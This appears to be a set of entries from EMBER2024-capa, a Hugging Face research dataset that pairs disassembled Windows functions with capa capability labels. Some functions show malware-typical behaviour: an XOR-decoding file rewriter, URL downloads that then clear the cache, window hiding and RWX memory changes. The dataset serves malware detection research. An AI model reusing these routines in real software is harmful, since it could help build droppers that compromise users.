joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100136e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], ecx
mov eax, 1
test eax, eax
je 0x100137fe
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x38], 0
je 0x10013718
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 4]
call fcn.10013820
jmp 0x10013812
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
call fcn.10010210
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
cmp dword [ebp + 0x10], 0
jl 0x100137ac
jg 0x10013740
cmp dword [ebp + 0xc], 0
jbe 0x100137ac
cmp dword [ebp - 8], 0
jl 0x100137ac
jg 0x1001374e
cmp dword [ebp - 0xc], 0
jbe 0x100137ac
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [ebp - 8]
jg 0x1001376c
jl 0x10013760
mov edx, dword [ebp + 0xc]
cmp edx, dword [ebp - 0xc]
jae 0x1001376c
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.10012900
push eax
call fcn.10010f90
add esp, 0xc
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp + 8]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp - 0xc]
mov eax, dword [ebp + 0x10]
sbb eax, dword [ebp - 8]
mov dword [ebp + 0xc], edx
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
call fcn.100128c0
cmp dword [ebp + 0x10], 0
jl 0x100137ee
jg 0x100137ba
cmp dword [ebp + 0xc], 0
jbe 0x100137ee
mov edx, dword [ebp - 4]
cmp dword [edx + 0x4c], 0
je 0x100137ee
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.1002570b
add esp, 0x10
xor ecx, ecx
mov edx, dword [ebp + 0xc]
sub edx, eax
mov eax, dword [ebp + 0x10]
sbb eax, ecx
mov dword [ebp + 0xc], edx
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
sbb edx, dword [ebp + 0x10]
jmp 0x10013812
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.10013820
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10016890
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
push eax
push 0
push 0
push 0x10016850
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 4], 0
jne 0x100168c1
xor al, al
jmp 0x100168d0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x100190c0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
push 0x10042e1c
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [0x1024a408], eax
mov eax, 1
imul ecx, eax, 0
movzx edx, byte [ecx + 0x1024a430]
test edx, edx
jne 0x10019105
mov eax, dword [0x1024a408]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
mov ecx, dword [0x1024a408]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x10019146
mov edx, dword [0x1024a408]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [0x1024a408]
push eax
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov ecx, dword [0x1024a408]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
push 1
mov edx, dword [0x1024a408]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x1024a408]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
pop ebp
ret
Function at 0x1001a830
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 4
lea eax, [ebp - 8]
push eax
push 0x10042ea0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1001a889
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 4]
push edx
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001a87f
mov eax, dword [ebp - 4]
jmp 0x1001a88b
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1001a8e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0xc]
push eax
push 0x40
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1001a926
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x1001a969
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.100209c0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1001a967
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x1001a969
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x100328e8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1003275e
Function at 0x10001000
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
test edi, edi
je 0x10001071
lea ebx, [ebx]
mov dl, byte [eax + esi]
xor dl, 0xca
sub dl, 0x51
mov byte [eax + esi], dl
inc eax
cmp eax, edi
jb 0x10001060
mov eax, dword [ebp + 8]
push 0
push 0
push 2
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
lea ecx, [ebp - 8]
push ecx
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001553
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x1000155d
repz ret
jmp fcn.10001b92

Function at 0x10004ac1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10002368
and dword [ebp - 0x14], 0
cmp dword [0x1000a7d4], 0
mov dword [ebp - 0x18], eax
jne 0x10004b74
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10004c1c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10004c1c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000a7d4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000a7d8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000a7dc], eax
call edi
push eax
call esi
mov dword [0x1000a7e4], eax
test eax, eax
je 0x10004b74
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000a7e0], eax
mov eax, dword [0x1000a7e0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10004bcd
cmp dword [0x1000a7e4], ecx
je 0x10004bcd
push eax
call esi
push dword [0x1000a7e4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10004bcd
test ebx, ebx
je 0x10004bcd
call edi
test eax, eax
je 0x10004bc4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10004bc4
test byte [ebp - 8], 1
jne 0x10004bcd
or dword [ebp + 0x10], 0x200000
jmp 0x10004c00
mov eax, dword [0x1000a7d8]
cmp eax, dword [ebp - 0x18]
je 0x10004c00
push eax
call esi
test eax, eax
je 0x10004c00
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10004c00
mov eax, dword [0x1000a7dc]
cmp eax, dword [ebp - 0x18]
je 0x10004c00
push eax
call esi
test eax, eax
je 0x10004c00
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000a7d4]
call esi
test eax, eax
je 0x10004c1c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10004c1e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001553
leave
ret
Function at 0x402d53
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x403488
call fcn.0040323c
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x4043a0
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x402d98
cmp eax, esi
jne 0x402d8b
xor esi, esi
inc esi
mov edi, esi
jmp 0x402d9b
push 0x3e8
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x402d6f
xor esi, esi
inc esi
cmp dword [0x4043a4], esi
jne 0x402dad
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x402de7
cmp dword [0x4043a4], ebx
jne 0x402de1
mov dword [0x4043a4], esi
push 0x4011a8
push 0x40119c
call fcn.00402ec2
pop ecx
pop ecx
test eax, eax
je 0x402de7
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x402ebc
mov dword [0x404034], esi
cmp dword [0x4043a4], esi
jne 0x402e0a
push 0x401198
push 0x401190
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x4043a4], 2
test edi, edi
jne 0x402e17
xor eax, eax
mov ecx, 0x4043a0
xchg dword [ecx], eax
cmp dword [0x4043a8], 0
je 0x402e43
push 0x4043a8
call fcn.00403090
pop ecx
test eax, eax
je 0x402e43
push ebx
push 2
push ebx
mov esi, dword [0x4043a8]
mov ecx, esi
call dword [0x40515c]
call esi
push dword [0x404040]
push dword [0x40403c]
push dword [0x404038]
call fcn.00401a43
add esp, 0xc
mov dword [0x404030], eax
cmp dword [0x404048], 0
jne 0x402ea1
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
push ecx
push eax
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x404034], 0
jne 0x402eb5
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x404030]
mov dword [ebp - 4], 0xfffffffe
call fcn.00403284
ret
call fcn.00581000
jmp 0x402d53

Function at 0x402f94
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x4034a8
call fcn.0040340c
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x402ff4
cmp eax, 0xffffffff
je 0x402ff4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x402fed
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x402fed
cmp edx, 0x10000000
jae 0x402fed
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x402fea
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.00403451
ret 4

Function at 0x403040
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40307e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x403076
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x403080
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x403066
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x403990
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x424d1d
mov eax, dword fs:[0]
push eax
sub esp, 0x80
mov eax, dword [0x435054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x84], ebx
mov dword [ebp - 4], 0
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x436fd4]
cmp eax, dword [ecx + 4]
jle 0x403a39
push 0x436fd4
call fcn.0040e05f
add esp, 4
cmp dword [0x436fd4], 0xffffffff
jne 0x403a39
push 0x425670
mov dword [0x436fd8], 0
mov dword [0x436fe8], 0
mov dword [0x436fec], 7
call fcn.0040e371
push 0x436fd4
call fcn.0040e015
add esp, 8
cmp dword [0x436fe8], 0
jne 0x403b84
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp - 0x80]
push 0
push 0
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
jne 0x403b73
mov ecx, dword [ebp - 0x80]
lea edx, [ebp - 0x78]
push edx
push 0x64
lea edx, [ebp - 0x74]
mov eax, dword [ecx]
push edx
push ecx
call dword [eax + 0xc]
cmp dword [ebp - 0x78], 0
je 0x403b68
mov ebx, 2
nop dword [eax]
lea eax, [ebp - 0x74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403a96
sub eax, edx
xor ecx, ecx
lea esi, [eax + 1]
mov eax, esi
mul ebx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040e386
mov ebx, eax
mov dword [ebp - 0x7c], 0
push esi
lea eax, [ebp - 0x74]
push eax
push esi
lea eax, [ebp - 0x7c]
push ebx
push eax
call fcn.004125d6
mov edx, dword [0x436fec]
add esp, 0x18
mov ecx, dword [0x436fe8]
mov eax, edx
mov edi, dword [ebp - 0x78]
sub eax, ecx
mov dword [ebp - 0x88], ecx
cmp edi, eax
ja 0x403b26
lea eax, [edi + ecx]
cmp edx, 8
mov dword [0x436fe8], eax
mov esi, 0x436fd8
cmovae esi, dword [0x436fd8]
lea eax, [edi + edi]
push eax
push ebx
lea eax, [esi + ecx*2]
push eax
call fcn.0040f540
mov eax, dword [ebp - 0x88]
add esp, 0xc
add eax, edi
xor ecx, ecx
mov word [esi + eax*2], cx
jmp 0x403b40
push edi
push ebx
mov byte [ebp - 0x84], 0
mov ecx, 0x436fd8
push dword [ebp - 0x84]
push edi
call fcn.004061a0
mov eax, dword [ebp - 0x80]
lea edx, [ebp - 0x78]
push edx
push 0x64
lea edx, [ebp - 0x74]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
cmp dword [ebp - 0x78], 0
mov ebx, 2
jne 0x403a90
mov ebx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x403b84
push 2
push 0x430ae0
mov ecx, 0x436fd8
call fcn.00405960
mov ecx, 0x436fd8
call fcn.004034a0
push 0x436fd8
mov ecx, ebx
call fcn.00405410
mov edx, dword [ebp + 0x1c]
cmp edx, 8
jb 0x403bd0
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403bc6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403bee
push edx
push ecx
call fcn.0040df1e
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040dee0
mov esp, ebp
pop ebp
ret
call fcn.0041226f
int3
Function at 0x404640
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x424e85
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x435054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x40], 0x430b6c
mov dword [ebp - 0x14], 0
lea eax, [ebp + 0x38]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x38]
call fcn.00405170
cmp dword [ebp + 0x34], 8
lea edx, [ebp - 0x40]
push edx
lea ecx, [ebp + 0x20]
cmovae ecx, dword [ebp + 0x20]
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 8
push 0
cmovae eax, dword [ebp + 8]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp + 8]
mov esi, eax
cmovae ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
mov ecx, dword [ebp - 0x14]
test esi, esi
setns bl
test ecx, ecx
je 0x4046ed
mov edx, dword [ecx]
lea eax, [ebp - 0x38]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov dword [ebp - 0x14], 0
mov edx, dword [ebp + 0x1c]
cmp edx, 8
jb 0x404727
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40471d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4047ba
push edx
push ecx
call fcn.0040df1e
add esp, 8
mov edx, dword [ebp + 0x34]
xor eax, eax
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 7
mov word [ebp + 8], ax
cmp edx, 8
jb 0x404771
mov ecx, dword [ebp + 0x20]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404767
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4047ba
push edx
push ecx
call fcn.0040df1e
add esp, 8
mov ecx, dword [ebp + 0x5c]
xor eax, eax
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 7
mov word [ebp + 0x20], ax
test ecx, ecx
je 0x40479d
mov esi, dword [ecx]
lea eax, [ebp + 0x38]
cmp ecx, eax
setne dl
movzx edx, dl
push edx
call dword [esi + 0x10]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040dee0
mov esp, ebp
pop ebp
ret
call fcn.0041226f
int3
Function at 0x404f70
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x424fa5
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x435054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x40]
call fcn.00404ed0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 8
push dword [ebp - 0x30]
cmovae eax, dword [ebp - 0x40]
xor ecx, ecx
mov dword [ebp - 0x28], 0
mov word [ebp - 0x28], cx
lea ecx, [ebp - 0x28]
push eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
call fcn.00405960
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.00402190
push eax
lea ecx, [ebp - 0x58]
call fcn.00405410
cmp dword [ebp - 0x2c], 8
lea eax, [ebp - 0x40]
push 4
cmovae eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
cmp dword [ebp - 0x44], 8
lea eax, [ebp - 0x58]
push 4
cmovae eax, dword [ebp - 0x58]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov edx, dword [ebp - 0x44]
cmp edx, 8
jb 0x405054
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40504a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405101
push edx
push ecx
call fcn.0040df1e
add esp, 8
mov edx, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
cmp edx, 8
jb 0x40509e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405094
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405101
push edx
push ecx
call fcn.0040df1e
add esp, 8
mov edx, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4050e8
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4050de
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405101
push edx
push ecx
call fcn.0040df1e
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040dee0
mov esp, ebp
pop ebp
ret
call fcn.0041226f
int3
Function at 0x40a630
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x40a718
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x40a707
jg 0x40a670
test edx, edx
je 0x40a707
nop dword [eax]
call fcn.0040bb90
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x40a6c4
jg 0x40a687
test esi, esi
je 0x40a6c4
cmp ebx, eax
jg 0x40a697
jl 0x40a691
cmp edi, esi
jae 0x40a697
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.0040f540
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x40a6eb
mov ecx, dword [esp + 0xc]
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
movzx eax, byte [eax]
push eax
call edx
cmp eax, 0xffffffff
je 0x40a701
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x40a670
jl 0x40a701
test edi, edi
jne 0x40a670
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x40a73a
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x40a73c
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x40a7ba
jg 0x40a74f
test esi, esi
je 0x40a7ba
test eax, eax
jl 0x40a79e
jg 0x40a759
test ebx, ebx
je 0x40a79e
cmp edi, eax
jg 0x40a769
jl 0x40a763
cmp esi, ebx
jae 0x40a769
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.0040f540
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
sub esi, ebx
sbb edi, dword [esp + 0x14]
add edx, ebx
mov eax, dword [ecx + 0x30]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
test edi, edi
jl 0x40a7ba
jg 0x40a7a1
test esi, esi
je 0x40a7ba
jmp 0x40a7a1
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x40a7ba
push eax
push esi
push 1
push edx
call fcn.00413234
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc